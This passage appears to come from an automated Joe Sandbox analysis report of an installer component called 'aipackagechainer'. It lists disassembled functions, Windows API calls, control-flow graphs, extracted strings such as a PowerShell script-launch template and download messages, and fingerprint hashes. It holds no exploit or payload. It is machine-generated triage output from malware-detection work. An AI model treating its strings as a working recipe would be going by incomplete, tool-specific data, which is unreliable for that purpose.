                                                                                                                                                                                                                                                  • RegQueryValueExW.ADVAPI32(00000000,CurrentVersion,00000000,00000000,?,?), ref: 0023C463
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 0023C4D8
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,ReleaseId,00000000,00000000,?,?), ref: 0023C551
                                                                                                                                                                                                                                                  • RegQueryValueExW.KERNELBASE(00000000,CSDVersion,00000000,00000000,?,?), ref: 0023C5A2
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 0023C636
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0023C63D
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?), ref: 0023C674
                                                                                                                                                                                                                                                  • IsWow64Process.KERNEL32(00000000), ref: 0023C67B
                                                                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 0023C6B5
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: QueryValue$Process$AddressCloseCurrentHandleModuleOpenProcWow64
                                                                                                                                                                                                                                                  • String ID: CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$kernel32
                                                                                                                                                                                                                                                  • API String ID: 2654979339-3583743485
                                                                                                                                                                                                                                                  • Opcode ID: 8ded9bacc8411fd3fbfa855bebaa1605079f488bb7d6f457dae82ec4372d667b
                                                                                                                                                                                                                                                  • Instruction ID: cf98f6f539fafa0d28e449ddbe3bb50c8ce98e4a88ca053138e5f6e059d779f6
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8ded9bacc8411fd3fbfa855bebaa1605079f488bb7d6f457dae82ec4372d667b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E3919DB1D112299EDF20CF20DC49FE9B7B9EB44711F1042A6E409B7290EB75AEA4CF51
                                                                                                                                                                                                                                                  Function 0024CF30 Relevance: 25.3, APIs: 5, Strings: 9, Instructions: 805fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: InitializeCriticalSection.KERNEL32(002D8AF4,4938EAB5), ref: 0023828C
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: EnterCriticalSection.KERNEL32(?,4938EAB5), ref: 00238299
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: WriteFile.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382CB
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382D4
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,002BDB5C,00000001,?,00000000,00240B71,00000000), ref: 00238356
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 0023835F
                                                                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,00000000), ref: 0024D478
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,00000000), ref: 0024D49F
                                                                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,00000000), ref: 0024D4AC
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,00000000), ref: 0024D4C4
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                    • Part of subcall function 002373A0: FormatMessageW.KERNEL32(00001300,00000000,00000008,00000400,00000001,00000000,00000000,4938EAB5,?,00000001), ref: 002373EB
                                                                                                                                                                                                                                                    • Part of subcall function 002373A0: GetLastError.KERNEL32 ref: 002373F5
                                                                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?), ref: 0024D83D
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$BuffersCloseCriticalFlushHandleSectionWrite$CreateDeleteEnterErrorFormatHeapInitializeLastMessageProcessSize
                                                                                                                                                                                                                                                  • String ID: Download completed succesfully.$Download failed. Error:$Download was canceled.$Downloaded file was accepted.$Downloaded file was rejected.(Invalid size or MD5).$Launching URL:$Starting download of:$[InternetShortcut]URL=%s$open
                                                                                                                                                                                                                                                  • API String ID: 3716865744-276716467
                                                                                                                                                                                                                                                  • Opcode ID: b3bd01c62ed50a88333f8a7b5f18216275bb35d31d17b82d4f4bf65a85395a8b
                                                                                                                                                                                                                                                  • Instruction ID: 5860e53f6afcceea2eb094cf0f2cb90e00ea7e8865c9fcfdd2e949b1fcb677e0
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b3bd01c62ed50a88333f8a7b5f18216275bb35d31d17b82d4f4bf65a85395a8b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9562BE70A1120ADFDB08DF68C884BADBBF1AF45314F1481A9F8199B292DB70ED55CF90
                                                                                                                                                                                                                                                  Function 00213FA0 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 260libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1537 213fa0-21400c 1538 214049-214050 1537->1538 1539 21400e-214022 call 27c537 1537->1539 1540 214056-21405d call 2323d0 1538->1540 1541 21427d-2142b9 call 211f20 call 27c18f 1538->1541 1539->1538 1548 214024-214046 call 27c849 call 27c4ed 1539->1548 1551 2141a3-2141b5 GetTempPathW 1540->1551 1552 214063-21406e 1540->1552 1548->1538 1554 2141b7-2141b9 1551->1554 1556 214070-214084 call 27c537 1552->1556 1557 2140ba-2140c1 1552->1557 1554->1541 1561 2141bf-2141e3 1554->1561 1556->1557 1570 214086-2140b7 GetModuleHandleW GetProcAddress call 27c4ed 1556->1570 1558 2140c3-2140d3 1557->1558 1559 2140d5-2140ff GetWindowsDirectoryW call 2818a6 1557->1559 1571 214102-214111 PathFileExistsW 1558->1571 1559->1571 1565 2141e6-2141ef 1561->1565 1565->1565 1569 2141f1-21422d call 2137a0 call 216750 1565->1569 1582 214260-214276 1569->1582 1583 21422f-214244 1569->1583 1570->1557 1571->1554 1574 214117-21415c call 2325d0 call 2327c0 * 2 call 232d30 1571->1574 1597 214192-2141a1 call 232670 1574->1597 1598 21415e-21418c CreateDirectoryW 1574->1598 1582->1541 1585 214256-21425d call 27c19d 1583->1585 1586 214246-214254 1583->1586 1585->1582 1586->1585 1589 2142ba-214389 call 28156f call 213fa0 call 211f20 call 213f00 call 214390 call 213f00 call 27c18f 1586->1589 1597->1554 1598->1597
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(Kernel32.dll,GetTempPath2W,00000000), ref: 00214097
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0021409E
                                                                                                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(?,00000104,4938EAB5,?,00000000), ref: 002140E1
                                                                                                                                                                                                                                                  • PathFileExistsW.KERNELBASE(?), ref: 00214109
                                                                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(?,?,S-1-5-32-544,?,00000001,S-1-5-18,?,00000001), ref: 0021418C
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: EnterCriticalSection.KERNEL32(002D7FD4,?,00000000,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C542
                                                                                                                                                                                                                                                    • Part of subcall function 0027C537: LeaveCriticalSection.KERNEL32(002D7FD4,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5,?,00000000), ref: 0027C57F
                                                                                                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,?,4938EAB5,?,00000000), ref: 002141AF
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: EnterCriticalSection.KERNEL32(002D7FD4,00000000,?,00213657,002D88D0,002ACD30), ref: 0027C4F7
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: LeaveCriticalSection.KERNEL32(002D7FD4,?,00213657,002D88D0,002ACD30), ref: 0027C52A
                                                                                                                                                                                                                                                    • Part of subcall function 0027C4ED: RtlWakeAllConditionVariable.NTDLL ref: 0027C5A1
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$DirectoryEnterLeavePath$AddressConditionCreateExistsFileHandleModuleProcTempVariableWakeWindows
                                                                                                                                                                                                                                                  • String ID: GetTempPath2W$Kernel32.dll$S-1-5-18$S-1-5-32-544$URL$\SystemTemp\$`j-
                                                                                                                                                                                                                                                  • API String ID: 573185392-106810515
                                                                                                                                                                                                                                                  • Opcode ID: 1113bbdd5290d25b707e0e11d30243fb7a9bc6b0af8157b12701466382293423
                                                                                                                                                                                                                                                  • Instruction ID: 65b5ce2313c485f4515de9b18b5f2a7d2d53c6f36a02d374bdfaad7e36b68d75
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1113bbdd5290d25b707e0e11d30243fb7a9bc6b0af8157b12701466382293423
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DCA1B5B1D20218EBDB20EFA4ED49BEDB7F4EB18310F14419AE509A7281EB745E94CF51
                                                                                                                                                                                                                                                  Function 002419A0 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 410libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1613 2419a0-2419e5 1614 241f12-241f17 call 213200 1613->1614 1615 2419eb-2419ee 1613->1615 1620 241f1c-241f26 call 213200 1614->1620 1615->1614 1616 2419f4-241a06 1615->1616 1618 241ef0-241f0f call 27c18f 1616->1618 1619 241a0c-241a12 call 250730 1616->1619 1625 241a17-241a19 1619->1625 1627 241e36-241e3d 1625->1627 1628 241a1f-241a2c call 250a80 1625->1628 1629 241e43-241e4c call 213540 1627->1629 1630 241edd-241ee0 1627->1630 1628->1627 1636 241a32-241a35 1628->1636 1629->1620 1637 241e52-241e78 call 214ba0 1629->1637 1630->1614 1633 241ee2-241ee8 1630->1633 1633->1618 1636->1614 1638 241a3b-241a4d 1636->1638 1637->1614 1655 241e7e-241e89 1637->1655 1639 241a54-241a64 call 27dafc 1638->1639 1640 241a4f-241a52 1638->1640 1647 241a66-241a69 1639->1647 1648 241a6b-241a71 1639->1648 1642 241a76-241a81 1640->1642 1642->1614 1644 241a87-241a96 1642->1644 1649 241a9d-241aaf call 27dafc 1644->1649 1650 241a98-241a9b 1644->1650 1652 241a73 1647->1652 1648->1652 1663 241ab6-241abc 1649->1663 1664 241ab1-241ab4 1649->1664 1653 241abe-241ada 1650->1653 1652->1642 1659 241b2c-241b36 1653->1659 1660 241adc-241af0 call 27c537 1653->1660 1657 241ead-241ed3 call 238250 1655->1657 1658 241e8b-241e90 1655->1658 1657->1630 1672 241ed5-241ed8 1657->1672 1665 241e93-241e9c 1658->1665 1661 241b75-241b77 1659->1661 1662 241b38-241b4c GetCurrentProcess 1659->1662 1676 241af2-241b26 GetModuleHandleW GetProcAddress call 27c4ed 1660->1676 1677 241b29 1660->1677 1661->1630 1669 241b7d-241b80 1661->1669 1662->1669 1681 241b4e-241b57 1662->1681 1663->1653 1664->1653 1665->1665 1668 241e9e-241ea8 call 214ba0 1665->1668 1668->1657 1669->1614 1675 241b86-241b96 1669->1675 1672->1630 1678 241b9d-241bad call 27dafc 1675->1678 1679 241b98-241b9b 1675->1679 1676->1677 1677->1659 1692 241bb4-241bba 1678->1692 1693 241baf-241bb2 1678->1693 1682 241bbc-241bcb 1679->1682 1685 241b61-241b65 1681->1685 1686 241b59-241b5d 1681->1686 1688 241bd1-241bda call 213540 1682->1688 1689 241c6b-241c6f 1682->1689 1685->1669 1690 241b67-241b6a 1685->1690 1686->1690 1691 241b5f 1686->1691 1688->1620 1701 241be0-241c06 call 214ba0 1688->1701 1695 241c71-241c74 1689->1695 1696 241c8d 1689->1696 1690->1614 1697 241b70 1690->1697 1691->1669 1692->1682 1693->1682 1695->1614 1699 241c7a-241c85 1695->1699 1700 241c90-241ce2 1696->1700 1697->1633 1699->1618 1702 241c8b 1699->1702 1700->1614 1703 241ce8-241cef 1700->1703 1701->1614 1719 241c0c-241c17 1701->1719 1702->1700 1704 241cf1-241d0c call 252c60 1703->1704 1705 241d0e-241d16 1703->1705 1704->1705 1707 241d1c-241d1f 1705->1707 1708 241d18-241d1a 1705->1708 1712 241d26-241d2e 1707->1712 1713 241d21-241d24 1707->1713 1711 241d35-241d3f 1708->1711 1715 241d44-241d4b 1711->1715 1716 241d41 1711->1716 1712->1711 1713->1711 1715->1618 1718 241d51-241d5a call 213540 1715->1718 1716->1715 1718->1620 1728 241d60-241d86 call 214ba0 1718->1728 1720 241c19-241c1e 1719->1720 1721 241c3b-241c61 call 238250 1719->1721 1723 241c21-241c2a 1720->1723 1721->1689 1730 241c63-241c66 1721->1730 1723->1723 1726 241c2c-241c36 call 214ba0 1723->1726 1726->1721 1728->1614 1734 241d8c-241d99 1728->1734 1730->1689 1735 241dda-241de1 1734->1735 1736 241d9b 1734->1736 1737 241de4-241ded 1735->1737 1736->1735 1737->1737 1738 241def-241e23 call 214ba0 call 238250 1737->1738 1738->1618 1743 241e29-241e31 1738->1743 1743->1618
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00250A80: GetSystemDefaultLangID.KERNEL32(4938EAB5,?,00000000,?,000000C9), ref: 00250AB6
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32,IsWow64Process2,?,?,?,?,00000000), ref: 00241B03
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00241B0A
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?,?,?,?,00000000), ref: 00241B40
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressCurrentDefaultHandleLangModuleProcProcessSystem
                                                                                                                                                                                                                                                  • String ID: IsWow64Process2$Not selected for install.$Search result:$Searching for:$Undefined$Wrong OS or Os language for:$kernel32
                                                                                                                                                                                                                                                  • API String ID: 323535258-4272450043
                                                                                                                                                                                                                                                  • Opcode ID: a7b68536c0732ec5f1e5e3d5e1d5813a08a8369eac05fa59601acb4c3ae86e86
                                                                                                                                                                                                                                                  • Instruction ID: ca35e90348f1af2170f7371f45b8c3a3b3a233e596742d627d540995e3610705
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a7b68536c0732ec5f1e5e3d5e1d5813a08a8369eac05fa59601acb4c3ae86e86
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5EF19070A20605DFDB18DFA8C894BAEB7F1FF44314F148259E4269B291DB70ADA6CF41
                                                                                                                                                                                                                                                  Function 002474D0 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 307fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1766 2474d0-247512 1767 247514-247538 call 27c18f 1766->1767 1768 247539-247582 call 247840 call 247a20 call 213fa0 call 213540 1766->1768 1779 247828-247832 call 213200 1768->1779 1780 247588-2475ad call 216540 1768->1780 1786 2475b1-2475d6 GetTempFileNameW call 213f00 1780->1786 1787 2475af 1780->1787 1790 2476a4-2476ab call 213540 1786->1790 1791 2475dc-2475df 1786->1791 1787->1786 1790->1779 1796 2476b1-2476e3 call 228870 call 213540 1790->1796 1793 2475e2-2475eb 1791->1793 1793->1793 1795 2475ed-247607 call 215150 DeleteFileW call 213540 1793->1795 1802 24760c-24760e 1795->1802 1796->1779 1810 2476e9-247725 call 228870 CopyFileW 1796->1810 1802->1779 1804 247614-247632 1802->1804 1808 247634-24763d call 214e80 1804->1808 1809 24763f-247646 call 215150 1804->1809 1814 24764b-247663 call 27da5b 1808->1814 1809->1814 1820 247727-247770 call 233f40 call 2473a0 call 2591c0 1810->1820 1821 24779a 1810->1821 1822 247665-24766c 1814->1822 1823 247689-24769a 1814->1823 1844 247772-247775 1820->1844 1845 24777a-24778e 1820->1845 1827 24779c-2477b0 1821->1827 1822->1823 1826 24766e-247684 call 22c8a0 call 214ba0 1822->1826 1823->1790 1824 24769c-24769f 1823->1824 1824->1790 1826->1823 1828 2477b2-2477b5 1827->1828 1829 2477ba-2477ce 1827->1829 1828->1829 1832 2477d0-2477d3 1829->1832 1833 2477d8-2477ec 1829->1833 1832->1833 1837 2477f6-247817 call 213f00 1833->1837 1838 2477ee-2477f1 1833->1838 1846 247821 1837->1846 1847 247819-24781c 1837->1847 1838->1837 1844->1845 1845->1827 1848 247790-247798 1845->1848 1846->1779 1847->1846 1848->1827
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetTempFileNameW.KERNELBASE(00000000,AI_,00000000,?,-00000010,?,?,?,?,?,?,?,?,?,002A5BBD,000000FF), ref: 002475BD
                                                                                                                                                                                                                                                  • DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,002A5BBD,000000FF), ref: 00247601
                                                                                                                                                                                                                                                  • _wcsrchr.LIBVCRUNTIME ref: 00247654
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$DeleteNameTemp_wcsrchr
                                                                                                                                                                                                                                                  • String ID: %s -paths %s -retry_count %d$-NoProfile -NonInteractive -NoLogo -ExecutionPolicy %s -Command "%s"$.ps1$AI_$RemoteSigned
                                                                                                                                                                                                                                                  • API String ID: 2635186422-656004915
                                                                                                                                                                                                                                                  • Opcode ID: e295c41881d48dc1ee45d59083b3972e40f0b3d0e4d703a051ba6b29429326b3
                                                                                                                                                                                                                                                  • Instruction ID: a0915f10b685f3a41e1c3aab0cdb64ad84acc769d0a449c4e378640ebd740b31
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e295c41881d48dc1ee45d59083b3972e40f0b3d0e4d703a051ba6b29429326b3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E7B1C470910505DFDB04DFA8CC49BAEBBB5EF55310F188298E825AB292EB74DE15CF90
                                                                                                                                                                                                                                                  Function 002470B0 Relevance: 15.2, APIs: 10, Instructions: 173threadCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1850 2470b0-2470e1 1851 2470e7-247101 GetActiveWindow 1850->1851 1852 24724d-24725e 1850->1852 1853 247103-247105 call 248410 1851->1853 1854 24710f-247117 1851->1854 1858 24710a KiUserCallbackDispatcher 1853->1858 1856 247132-247141 call 27a25c 1854->1856 1857 247119-247123 call 27a15a 1854->1857 1863 247147-2471ac GetCurrentThreadId EnterCriticalSection LeaveCriticalSection CreateDialogParamW 1856->1863 1864 247261-2472c5 call 22da10 call 2474d0 1856->1864 1857->1856 1865 247125-24712d SetLastError 1857->1865 1858->1854 1866 2471b2-2471c9 GetCurrentThreadId 1863->1866 1877 2472c7-2472ca 1864->1877 1878 2472cf-2472ec call 22c980 1864->1878 1865->1866 1870 24722a-24724b SetWindowTextW GetDlgItem SetWindowTextW 1866->1870 1871 2471cb-2471d2 1866->1871 1870->1852 1873 2471d4-2471e0 call 215e60 call 23cf80 1871->1873 1874 2471e5-247220 call 237780 call 228870 1871->1874 1873->1874 1874->1870 1887 247222-247225 1874->1887 1877->1878 1887->1870
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetActiveWindow.USER32 ref: 002470EA
                                                                                                                                                                                                                                                  • SetLastError.KERNEL32(0000000E), ref: 00247127
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 002471B2
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(?,00000000), ref: 00247235
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 0024723F
                                                                                                                                                                                                                                                  • SetWindowTextW.USER32(00000000,?), ref: 0024724B
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetDlgItem.USER32(?,00000002), ref: 00248430
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetWindowRect.USER32(00000000,?), ref: 00248446
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: ShowWindow.USER32(00000000,00000000,?,?,?,?,0024710A), ref: 0024845F
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: InvalidateRect.USER32(00000000,00000000,00000001,?,?,?,?,0024710A), ref: 0024846A
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetDlgItem.USER32(00000000,000003E9), ref: 0024847C
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: GetWindowRect.USER32(00000000,?), ref: 00248492
                                                                                                                                                                                                                                                    • Part of subcall function 00248410: SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000206,?,?,?,?,0024710A), ref: 002484D5
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$ItemRect$Text$ActiveCurrentErrorInvalidateLastShowThread
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2012338523-0
                                                                                                                                                                                                                                                  • Opcode ID: 77b3ae28132eb5bfb0d5958f2f882aecc21ce2c6b9d32d173150810ab80ed8a6
                                                                                                                                                                                                                                                  • Instruction ID: 42c1e012310f9012c7e903762a21cf8861b9e62a13842ca8e7459216cc808823
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 77b3ae28132eb5bfb0d5958f2f882aecc21ce2c6b9d32d173150810ab80ed8a6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E961D030914645EFDB10DF68DC48B9ABBB4FF05720F10865AF829A76E1DBB0A914CF91
                                                                                                                                                                                                                                                  Function 0023CF80 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 196COMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
